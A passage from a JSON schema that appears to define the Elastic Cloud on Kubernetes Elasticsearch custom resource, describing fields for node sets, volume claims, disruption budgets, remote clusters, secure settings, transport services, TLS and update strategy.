serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"},"nodeSets":{"description":"NodeSets allow specifying groups of Elasticsearch nodes sharing the same configuration and Pod templates.","items":{"description":"NodeSet is the specification for a group of Elasticsearch nodes sharing the same configuration and a Pod template.","properties":{"config":{"description":"Config holds the Elasticsearch configuration.","type":"object","x-kubernetes-preserve-unknown-fields":true},"count":{"description":"Count of Elasticsearch nodes to deploy.\nIf the node set is managed by an autoscaling policy the initial value is automatically set by the autoscaling controller.","format":"int32","type":"integer"},"name":{"description":"Name of this set of nodes. Becomes a part of the Elasticsearch node.name setting.","maxLength":23,"pattern":"[a-zA-Z0-9-]+","type":"string"},"podTemplate":{"description":"PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on) for the Pods belonging to this NodeSet.","type":"object","x-kubernetes-preserve-unknown-fields":true},"volumeClaimTemplates":{"description":"VolumeClaimTemplates is a list of persistent volume claims to be used by each Pod in this NodeSet.\nEvery claim in this list must have a matching volumeMount in one of the containers defined in the PodTemplate.\nItems defined here take precedence over any default claims added by the operator with the same name.","items":{"description":"PersistentVolumeClaim is a user's request for and claim to a persistent volume","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"description":"Standard object's metadata.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"spec defines the desired characteristics of a volume requested by a pod author.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#persistentvolumeclaims","properties":{"accessModes":{"description":"accessModes contains the desired access modes the volume should have.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#access-modes-1","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"dataSource":{"description":"dataSource field can be used to specify either:\n* An existing VolumeSnapshot object (snapshot.storage.k8s.io/VolumeSnapshot)\n* An existing PVC (PersistentVolumeClaim)\nIf the provisioner or an external controller can support the specified data source,\nit will create a new volume based on the contents of the specified data source.\nWhen the AnyVolumeDataSource feature gate is enabled, dataSource contents will be copied to dataSourceRef,\nand dataSourceRef contents will be copied to dataSource when dataSourceRef.namespace is not specified.\nIf the namespace is specified, then dataSourceRef will not be copied to dataSource.","properties":{"apiGroup":{"description":"APIGroup is the group for the resource being referenced.\nIf APIGroup is not specified, the specified Kind must be in the core API group.\nFor any other third-party types, APIGroup is required.","type":"string"},"kind":{"description":"Kind is the type of resource being referenced","type":"string"},"name":{"description":"Name is the name of resource being referenced","type":"string"}},"required":["kind","name"],"type":"object","x-kubernetes-map-type":"atomic"},"dataSourceRef":{"description":"dataSourceRef specifies the object from which to populate the volume with data, if a non-empty\nvolume is desired. This may be any object from a non-empty API group (non\ncore object) or a PersistentVolumeClaim object.\nWhen this field is specified, volume binding will only succeed if the type of\nthe specified object matches some installed volume populator or dynamic\nprovisioner.\nThis field will replace the functionality of the dataSource field and as such\nif both fields are non-empty, they must have the same value. For backwards\ncompatibility, when namespace isn't specified in dataSourceRef,\nboth fields (dataSource and dataSourceRef) will be set to the same\nvalue automatically if one of them is empty and the other is non-empty.\nWhen namespace is specified in dataSourceRef,\ndataSource isn't set to the same value and must be empty.\nThere are three important differences between dataSource and dataSourceRef:\n* While dataSource only allows two specific types of objects, dataSourceRef\n  allows any non-core object, as well as PersistentVolumeClaim objects.\n* While dataSource ignores disallowed values (dropping them), dataSourceRef\n  preserves all values, and generates an error if a disallowed value is\n  specified.\n* While dataSource only allows local objects, dataSourceRef allows objects\n  in any namespaces.\n(Beta) Using this field requires the AnyVolumeDataSource feature gate to be enabled.\n(Alpha) Using the namespace field of dataSourceRef requires the CrossNamespaceVolumeDataSource feature gate to be enabled.","properties":{"apiGroup":{"description":"APIGroup is the group for the resource being referenced.\nIf APIGroup is not specified, the specified Kind must be in the core API group.\nFor any other third-party types, APIGroup is required.","type":"string"},"kind":{"description":"Kind is the type of resource being referenced","type":"string"},"name":{"description":"Name is the name of resource being referenced","type":"string"},"namespace":{"description":"Namespace is the namespace of resource being referenced\nNote that when a namespace is specified, a gateway.networking.k8s.io/ReferenceGrant object is required in the referent namespace to allow that namespace's owner to accept the reference. See the ReferenceGrant documentation for details.\n(Alpha) This field requires the CrossNamespaceVolumeDataSource feature gate to be enabled.","type":"string"}},"required":["kind","name"],"type":"object"},"resources":{"description":"resources represents the minimum resources the volume should have.\nIf RecoverVolumeExpansionFailure feature is enabled users are allowed to specify resource requirements\nthat are lower than previous value but must still be higher than capacity recorded in the\nstatus field of the claim.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#resources","properties":{"limits":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"Limits describes the maximum amount of compute resources allowed.\nMore info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/","type":"object"},"requests":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"Requests describes the minimum amount of compute resources required.\nIf Requests is omitted for a container, it defaults to Limits if that is explicitly specified,\notherwise to an implementation-defined value. Requests cannot exceed Limits.\nMore info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/","type":"object"}},"type":"object"},"selector":{"description":"selector is a label query over volumes to consider for binding.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"storageClassName":{"description":"storageClassName is the name of the StorageClass required by the claim.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#class-1","type":"string"},"volumeAttributesClassName":{"description":"volumeAttributesClassName may be used to set the VolumeAttributesClass used by this claim.\nIf specified, the CSI driver will create or update the volume with the attributes defined\nin the corresponding VolumeAttributesClass. This has a different purpose than storageClassName,\nit can be changed after the claim is created. An empty string value means that no VolumeAttributesClass\nwill be applied to the claim but it's not allowed to reset this field to empty string once it is set.\nIf unspecified and the PersistentVolumeClaim is unbound, the default VolumeAttributesClass\nwill be set by the persistentvolume controller if it exists.\nIf the resource referred to by volumeAttributesClass does not exist, this PersistentVolumeClaim will be\nset to a Pending state, as reflected by the modifyVolumeStatus field, until such as a resource\nexists.\nMore info: https://kubernetes.io/docs/concepts/storage/volume-attributes-classes/\n(Alpha) Using this field requires the VolumeAttributesClass feature gate to be enabled.","type":"string"},"volumeMode":{"description":"volumeMode defines what type of volume is required by the claim.\nValue of Filesystem is implied when not included in claim spec.","type":"string"},"volumeName":{"description":"volumeName is the binding reference to the PersistentVolume backing this claim.","type":"string"}},"type":"object"}},"type":"object"},"type":"array"}},"required":["name"],"type":"object"},"minItems":1,"type":"array"},"podDisruptionBudget":{"description":"PodDisruptionBudget provides access to the default Pod disruption budget for the Elasticsearch cluster.\nThe default budget doesn't allow any Pod to be removed in case the cluster is not green or if there is only one node of type `data` or `master`.\nIn all other cases the default PodDisruptionBudget sets `minUnavailable` equal to the total number of nodes minus 1.\nTo disable, set `PodDisruptionBudget` to the empty value (`{}` in YAML).","properties":{"metadata":{"description":"ObjectMeta is the metadata of the PDB.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the PDB.","properties":{"maxUnavailable":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"An eviction is allowed if at most \"maxUnavailable\" pods selected by\n\"selector\" are unavailable after the eviction, i.e. even in absence of\nthe evicted pod. For example, one can prevent all voluntary evictions\nby specifying 0. This is a mutually exclusive setting with \"minAvailable\".","x-kubernetes-int-or-string":true},"minAvailable":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"An eviction is allowed if at least \"minAvailable\" pods selected by\n\"selector\" will still be available after the eviction, i.e. even in the\nabsence of the evicted pod.  So for example you can prevent all voluntary\nevictions by specifying \"100%\".","x-kubernetes-int-or-string":true},"selector":{"description":"Label query over pods whose evictions are managed by the disruption\nbudget.\nA null selector will match no pods, while an empty ({}) selector will select\nall pods within the namespace.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"unhealthyPodEvictionPolicy":{"description":"UnhealthyPodEvictionPolicy defines the criteria for when unhealthy pods\nshould be considered for eviction. Current implementation considers healthy pods,\nas pods that have status.conditions item with type=\"Ready\",status=\"True\".\n\n\nValid policies are IfHealthyBudget and AlwaysAllow.\nIf no policy is specified, the default behavior will be used,\nwhich corresponds to the IfHealthyBudget policy.\n\n\nIfHealthyBudget policy means that running pods (status.phase=\"Running\"),\nbut not yet healthy can be evicted only if the guarded application is not\ndisrupted (status.currentHealthy is at least equal to status.desiredHealthy).\nHealthy pods will be subject to the PDB for eviction.\n\n\nAlwaysAllow policy means that all running pods (status.phase=\"Running\"),\nbut not yet healthy are considered disrupted and can be evicted regardless\nof whether the criteria in a PDB is met. This means perspective running\npods of a disrupted application might not get a chance to become healthy.\nHealthy pods will be subject to the PDB for eviction.\n\n\nAdditional policies may be added in the future.\nClients making eviction decisions should disallow eviction of unhealthy pods\nif they encounter an unrecognized policy in this field.\n\n\nThis field is beta-level. The eviction API uses this field when\nthe feature gate PDBUnhealthyPodEvictionPolicy is enabled (enabled by default).","type":"string"}},"type":"object"}},"type":"object"},"remoteClusters":{"description":"RemoteClusters enables you to establish uni-directional connections to a remote Elasticsearch cluster.","items":{"description":"RemoteCluster declares a remote Elasticsearch cluster connection.","properties":{"elasticsearchRef":{"description":"ElasticsearchRef is a reference to an Elasticsearch cluster running within the same k8s cluster.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"name":{"description":"Name is the name of the remote cluster as it is set in the Elasticsearch settings.\nThe name is expected to be unique for each remote clusters.","minLength":1,"type":"string"}},"required":["name"],"type":"object"},"type":"array"},"revisionHistoryLimit":{"description":"RevisionHistoryLimit is the number of revisions to retain to allow rollback in the underlying StatefulSets.","format":"int32","type":"integer"},"secureSettings":{"description":"SecureSettings is a list of references to Kubernetes secrets containing sensitive configuration options for Elasticsearch.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array"},"serviceAccountName":{"description":"ServiceAccountName is used to check access from the current resource to a resource (for ex. a remote Elasticsearch cluster) in a different namespace.\nCan only be used if ECK is enforcing RBAC on references.","type":"string"},"transport":{"description":"Transport holds transport layer settings for Elasticsearch.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS on the transport layer.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the CA certificate\nand private key for generating node certificates.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The CA certificate in PEM format.\n- `ca.key`: The private key for the CA certificate in PEM format.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"certificateAuthorities":{"description":"CertificateAuthorities is a reference to a config map that contains one or more x509 certificates for\ntrusted authorities in PEM format. The certificates need to be in a file called `ca.crt`.","properties":{"configMapName":{"type":"string"}},"type":"object"},"otherNameSuffix":{"description":"OtherNameSuffix when defined will be prefixed with the Pod name and used as the common name,\nand the first DNSName, as well as an OtherName required by Elasticsearch in the Subject Alternative Name\nextension of each Elasticsearch node's transport TLS certificate.\nExample: if set to \"node.cluster.local\", the generated certificate will have its otherName set to \"\u003cpod_name\u003e.node.cluster.local\".","type":"string"},"selfSignedCertificates":{"description":"SelfSignedCertificates allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that provisioning of the self-signed certificates should be disabled.","type":"boolean"}},"type":"object"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated node transport TLS certificates.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"},"updateStrategy":{"description":"UpdateStrategy specifies how updates to the cluster should be performed.","properties":{"changeBudget":{"description":"ChangeBudget defines the constraints to consider when applying changes to the Elasticsearch cluster.","properties":{"maxSurge":{"description":"MaxSurge is the maximum number of new Pods that can be created exceeding the original number of Pods defined in\nthe specification. MaxSurge is only taken into consideration when scaling up. Setting a negative value will\ndisable the restriction. Defaults to unbounded if not specified.","format":"int32","type":"integer"},"maxUnavailable":{"description":"MaxUnavailable is the maximum number of Pods that can be unavailable (not ready) during the update due to\ncircumstances under the control of the operator. Setting a negative value will disable this restriction.\nDefaults to 1 if not specified.","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"version":{"description":"Version of 